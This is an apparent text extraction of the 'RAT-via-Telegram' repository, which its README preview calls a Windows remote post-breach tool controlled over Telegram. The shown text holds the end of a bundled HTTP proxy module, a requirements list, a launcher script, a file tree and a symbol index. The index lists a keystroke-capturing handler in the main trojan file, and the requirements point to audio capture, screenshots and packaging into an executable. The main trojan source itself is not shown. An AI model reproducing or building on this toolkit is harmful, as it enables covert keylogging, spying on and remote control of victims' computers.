    def queue(self, data):
        self.buffer += data
    
    def flush(self):
        sent = self.send(self.buffer)
        self.buffer = self.buffer[sent:]
        logger.debug('flushed %d bytes to %s' % (sent, self.what))

class Server(Connection):
    """Establish connection to destination server."""
    
    def __init__(self, host, port):
        super(Server, self).__init__(b'server')
        self.addr = (host, int(port))
    
    def connect(self):
        self.conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.conn.connect((self.addr[0], self.addr[1]))

class Client(Connection):
    """Accepted client connection."""
    
    def __init__(self, conn, addr):
        super(Client, self).__init__(b'client')
        self.conn = conn
        self.addr = addr

class ProxyError(Exception):
    pass

class ProxyConnectionFailed(ProxyError):
    
    def __init__(self, host, port, reason):
        self.host = host
        self.port = port
        self.reason = reason
    
    def __str__(self):
        return '<ProxyConnectionFailed - %s:%s - %s>' % (self.host, self.port, self.reason)

class Proxy(threading.Thread):
    """HTTP proxy implementation.
    
    Accepts connection object and act as a proxy between client and server.
    """
    
    def __init__(self, client):
        super(Proxy, self).__init__()
        
        self.start_time = self._now()
        self.last_activity = self.start_time
        
        self.client = client
        self.server = None
        
        self.request = HttpParser()
        self.response = HttpParser(HTTP_RESPONSE_PARSER)
        
        self.connection_established_pkt = CRLF.join([
            b'HTTP/1.1 200 Connection established',
            b'Proxy-agent: proxy.py v' + version,
            CRLF
        ])
    
    def _now(self):
        return datetime.datetime.utcnow()
    
    def _inactive_for(self):
        return (self._now() - self.last_activity).seconds
    
    def _is_inactive(self):
        return self._inactive_for() > 30
    
    def _process_request(self, data):
        # once we have connection to the server
        # we don't parse the http request packets
        # any further, instead just pipe incoming
        # data from client to server
        if self.server and not self.server.closed:
            self.server.queue(data)
            return
        
        # parse http request
        self.request.parse(data)
        
        # once http request parser has reached the state complete
        # we attempt to establish connection to destination server
        if self.request.state == HTTP_PARSER_STATE_COMPLETE:
            logger.debug('request parser is in state complete')
            
            if self.request.method == b"CONNECT":
                host, port = self.request.url.path.split(COLON)
            elif self.request.url:
                host, port = self.request.url.hostname, self.request.url.port if self.request.url.port else 80
            
            self.server = Server(host, port)
            try:
                logger.debug('connecting to server %s:%s' % (host, port))
                self.server.connect()
                logger.debug('connected to server %s:%s' % (host, port))
            except Exception as e:
                self.server.closed = True
                raise ProxyConnectionFailed(host, port, repr(e))
            
            # for http connect methods (https requests)
            # queue appropriate response for client 
            # notifying about established connection
            if self.request.method == b"CONNECT":
                self.client.queue(self.connection_established_pkt)
            # for usual http requests, re-build request packet
            # and queue for the server with appropriate headers
            else:
                self.server.queue(self.request.build(
                    del_headers=[b'proxy-connection', b'connection', b'keep-alive'], 
                    add_headers=[(b'Connection', b'Close')]
                ))
    
    def _process_response(self, data):
        # parse incoming response packet
        # only for non-https requests
        if not self.request.method == b"CONNECT":
            self.response.parse(data)
        
        # queue data for client
        self.client.queue(data)
    
    def _access_log(self):
        host, port = self.server.addr if self.server else (None, None)
        if self.request.method == b"CONNECT":
            logger.info("%s:%s - %s %s:%s" % (self.client.addr[0], self.client.addr[1], self.request.method, host, port))
        elif self.request.method:
            logger.info("%s:%s - %s %s:%s%s - %s %s - %s bytes" % (self.client.addr[0], self.client.addr[1], self.request.method, host, port, self.request.build_url(), self.response.code, self.response.reason, len(self.response.raw)))
        
    def _get_waitable_lists(self):
        rlist, wlist, xlist = [self.client.conn], [], []
        logger.debug('*** watching client for read ready')
        
        if self.client.has_buffer():
            logger.debug('pending client buffer found, watching client for write ready')
            wlist.append(self.client.conn)
        
        if self.server and not self.server.closed:
            logger.debug('connection to server exists, watching server for read ready')
            rlist.append(self.server.conn)
        
        if self.server and not self.server.closed and self.server.has_buffer():
            logger.debug('connection to server exists and pending server buffer found, watching server for write ready')
            wlist.append(self.server.conn)
        
        return rlist, wlist, xlist
    
    def _process_wlist(self, w):
        if self.client.conn in w:
            logger.debug('client is ready for writes, flushing client buffer')
            self.client.flush()
        
        if self.server and not self.server.closed and self.server.conn in w:
            logger.debug('server is ready for writes, flushing server buffer')
            self.server.flush()
    
    def _process_rlist(self, r):
        if self.client.conn in r:
            logger.debug('client is ready for reads, reading')
            data = self.client.recv()
            self.last_activity = self._now()
            
            if not data:
                logger.debug('client closed connection, breaking')
                return True
            
            try:
                self._process_request(data)
            except ProxyConnectionFailed as e:
                logger.exception(e)
                self.client.queue(CRLF.join([
                    b'HTTP/1.1 502 Bad Gateway',
                    b'Proxy-agent: proxy.py v' + version,
                    b'Content-Length: 11',
                    b'Connection: close',
                    CRLF
                ]) + b'Bad Gateway')
                self.client.flush()
                return True
        
        if self.server and not self.server.closed and self.server.conn in r:
            logger.debug('server is ready for reads, reading')
            data = self.server.recv()
            self.last_activity = self._now()
            
            if not data:
                logger.debug('server closed connection')
                self.server.close()
            else:
                self._process_response(data)
        
        return False
    
    def _process(self):
        while True:
            rlist, wlist, xlist = self._get_waitable_lists()
            r, w, x = select.select(rlist, wlist, xlist, 1)
            
            self._process_wlist(w)
            if self._process_rlist(r):
                break
            
            if self.client.buffer_size() == 0:
                if self.response.state == HTTP_PARSER_STATE_COMPLETE:
                    logger.debug('client buffer is empty and response state is complete, breaking')
                    break
                
                if self._is_inactive():
                    logger.debug('client buffer is empty and maximum inactivity has reached, breaking')
                    break
    
    def run(self):
        logger.debug('Proxying connection %r at address %r' % (self.client.conn, self.client.addr))
        try:
            self._process()
        except KeyboardInterrupt:
            pass
        except Exception as e:
            logger.exception('Exception while handling connection %r with reason %r' % (self.client.conn, e))
        finally:
            logger.debug("closing client connection with pending client buffer size %d bytes" % self.client.buffer_size())
            self.client.close()
            if self.server:
                logger.debug("closed client connection with pending server buffer size %d bytes" % self.server.buffer_size())
            self._access_log()
            logger.debug('Closing proxy for connection %r at address %r' % (self.client.conn, self.client.addr))

class TCP(object):
    """TCP server implementation."""
    
    def __init__(self, hostname='127.0.0.1', port=8899, backlog=100):
        self.hostname = hostname
        self.port = port
        self.backlog = backlog
    
    def handle(self, client):
        raise NotImplementedError()
    
    def run(self):
        try:
            logger.info('Starting server on port %d' % self.port)
            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            self.socket.bind((self.hostname, self.port))
            self.socket.listen(self.backlog)
            while True:
                conn, addr = self.socket.accept()
                logger.debug('Accepted connection %r at address %r' % (conn, addr))
                client = Client(conn, addr)
                self.handle(client)
        except Exception as e:
            logger.exception('Exception while running the server %r' % e)
        finally:
            logger.info('Closing server socket')
            self.socket.close()

class HTTP(TCP):
    """HTTP proxy server implementation.
    
    Spawns new process to proxy accepted client connection.
    """
    
    def handle(self, client):
        proc = Proxy(client)
        proc.daemon = True
        proc.start()
        logger.debug('Started process %r to handle connection %r' % (proc, client.conn))

def main():
    parser = argparse.ArgumentParser(
        description='proxy.py v%s' % __version__,
        epilog='Having difficulty using proxy.py? Report at: %s/issues/new' % __homepage__
    )
    
    parser.add_argument('--hostname', default='0.0.0.0', help='Default: 127.0.0.1')
    parser.add_argument('--port', default='8081', help='Default: 8081')
    parser.add_argument('--log-level', default='INFO', help='DEBUG, INFO, WARNING, ERROR, CRITICAL')
    args = parser.parse_args()
    
    logging.basicConfig(level=getattr(logging, args.log_level), format='%(asctime)s - %(levelname)s - pid:%(process)d - %(message)s')
    
    hostname = args.hostname
    port = int(args.port)
    
    try:
        proxy = HTTP(hostname, port)
        proxy.run()
    except KeyboardInterrupt:
        pass

if __name__ == '__main__':
    main()


================================================
FILE: requirements.txt
================================================
telepot
requests
winshell
tendo
pypiwin32
pillow
pyinstaller
pyaudio

================================================
FILE: run.bat
================================================
C:/Python27/python.exe "D:\Google Drive\Programming\Python\RAT-via-Telegram\RATAttack.py"
Download .txt
gitextract_ngogcj5m/

├── LICENSE
├── RATAttack.py
├── README.md
├── compileAndRun.bat
├── proxy.py
├── pyHook-1.5.1-cp27-cp27m-win32.whl
├── pyHook-1.5.1-cp27-cp27m-win_amd64.whl
├── requirements.txt
└── run.bat
Download .txt
SYMBOL INDEX (60 symbols across 2 files)

FILE: RATAttack.py
  function checkchat_id (line 33) | def checkchat_id(chat_id):
  function pressed_chars (line 37) | def pressed_chars(event):
  function internalIP (line 51) | def internalIP():
  function user_input (line 57) | def user_input(bot, from_id, msg):
  function on_chat_message (line 65) | def on_chat_message(msg):
  function on_callback_query (line 113) | def on_callback_query(msg):

FILE: proxy.py
  function text_ (line 43) | def text_(s, encoding='utf-8', errors='strict'):
  function bytes_ (line 51) | def bytes_(s, encoding='utf-8', errors='strict'):
  class ChunkParser (line 77) | class ChunkParser(object):
    method __init__ (line 80) | def __init__(self):
    method parse (line 86) | def parse(self, data):
    method process (line 90) | def process(self, data):
  class HttpParser (line 110) | class HttpParser(object):
    method __init__ (line 113) | def __init__(self, type=None):
    method parse (line 131) | def parse(self, data):
    method process (line 141) | def process(self, data):
    method process_line (line 178) | def process_line(self, data):
    method process_header (line 190) | def process_header(self, data):
    method build_url (line 203) | def build_url(self):
    method build_header (line 213) | def build_header(self, k, v):
    method build (line 216) | def build(self, del_headers=None, add_headers=None):
    method split (line 236) | def split(data):
  class Connection (line 243) | class Connection(object):
    method __init__ (line 246) | def __init__(self, what):
    method send (line 251) | def send(self, data):
    method recv (line 254) | def recv(self, bytes=8192):
    method close (line 266) | def close(self):
    method buffer_size (line 270) | def buffer_size(self):
    method has_buffer (line 273) | def has_buffer(self):
    method queue (line 276) | def queue(self, data):
    method flush (line 279) | def flush(self):
  class Server (line 284) | class Server(Connection):
    method __init__ (line 287) | def __init__(self, host, port):
    method connect (line 291) | def connect(self):
  class Client (line 295) | class Client(Connection):
    method __init__ (line 298) | def __init__(self, conn, addr):
  class ProxyError (line 303) | class ProxyError(Exception):
  class ProxyConnectionFailed (line 306) | class ProxyConnectionFailed(ProxyError):
    method __init__ (line 308) | def __init__(self, host, port, reason):
    method __str__ (line 313) | def __str__(self):
  class Proxy (line 316) | class Proxy(threading.Thread):
    method __init__ (line 322) | def __init__(self, client):
    method _now (line 340) | def _now(self):
    method _inactive_for (line 343) | def _inactive_for(self):
    method _is_inactive (line 346) | def _is_inactive(self):
    method _process_request (line 349) | def _process_request(self, data):
    method _process_response (line 393) | def _process_response(self, data):
    method _access_log (line 402) | def _access_log(self):
    method _get_waitable_lists (line 409) | def _get_waitable_lists(self):
    method _process_wlist (line 427) | def _process_wlist(self, w):
    method _process_rlist (line 436) | def _process_rlist(self, r):
    method _process (line 473) | def _process(self):
    method run (line 491) | def run(self):
  class TCP (line 507) | class TCP(object):
    method __init__ (line 510) | def __init__(self, hostname='127.0.0.1', port=8899, backlog=100):
    method handle (line 515) | def handle(self, client):
    method run (line 518) | def run(self):
  class HTTP (line 536) | class HTTP(TCP):
    method handle (line 542) | def handle(self, client):
  function main (line 548) | def main():
Condensed preview — 9 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (50K chars).
[
  {
    "path": "LICENSE",
    "chars": 1072,
    "preview": "MIT License\n\nCopyright (c) 2017 Ritiek Malhotra\n\nPermission is hereby granted, free of charge, to any person obtaining a"
  },
  {
    "path": "RATAttack.py",
    "chars": 21833,
    "preview": "#Todo\n#Split functions to classes\n#Solve bugs\n#Allow multi-keyboard capability\n#Add new features from the Master fork\n#I"
  },
  {
    "path": "README.md",
    "chars": 4853,
    "preview": "# RAT-via-Telegram\n## Dviros's notes:\nWindows Remote Post Breach Tool via Telegram (Python 2.7),\nOriginally created by <"
  },
  {
    "path": "compileAndRun.bat",
    "chars": 400,
    "preview": "rem --specpath \"D:\\Google Drive\\Programming\\Python\\RAT-via-Telegram\\\" --distpath \"D:\\Google Drive\\Programming\\Python\\RAT"
  },
  {
    "path": "proxy.py",
    "chars": 19810,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n    proxy.py\n    ~~~~~~~~\n    \n    HTTP Proxy Server in Python.\n    \n "
  },
  {
    "path": "requirements.txt",
    "chars": 68,
    "preview": "telepot\nrequests\nwinshell\ntendo\npypiwin32\npillow\npyinstaller\npyaudio"
  },
  {
    "path": "run.bat",
    "chars": 89,
    "preview": "C:/Python27/python.exe \"D:\\Google Drive\\Programming\\Python\\RAT-via-Telegram\\RATAttack.py\""
  }
]

// ... and 2 more files (download for full content)

About this extraction

This page contains the full source code of the Dviros/RAT-via-Telegram GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 9 files (47.0 KB), approximately 11.1k tokens, and a symbol index with 60 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!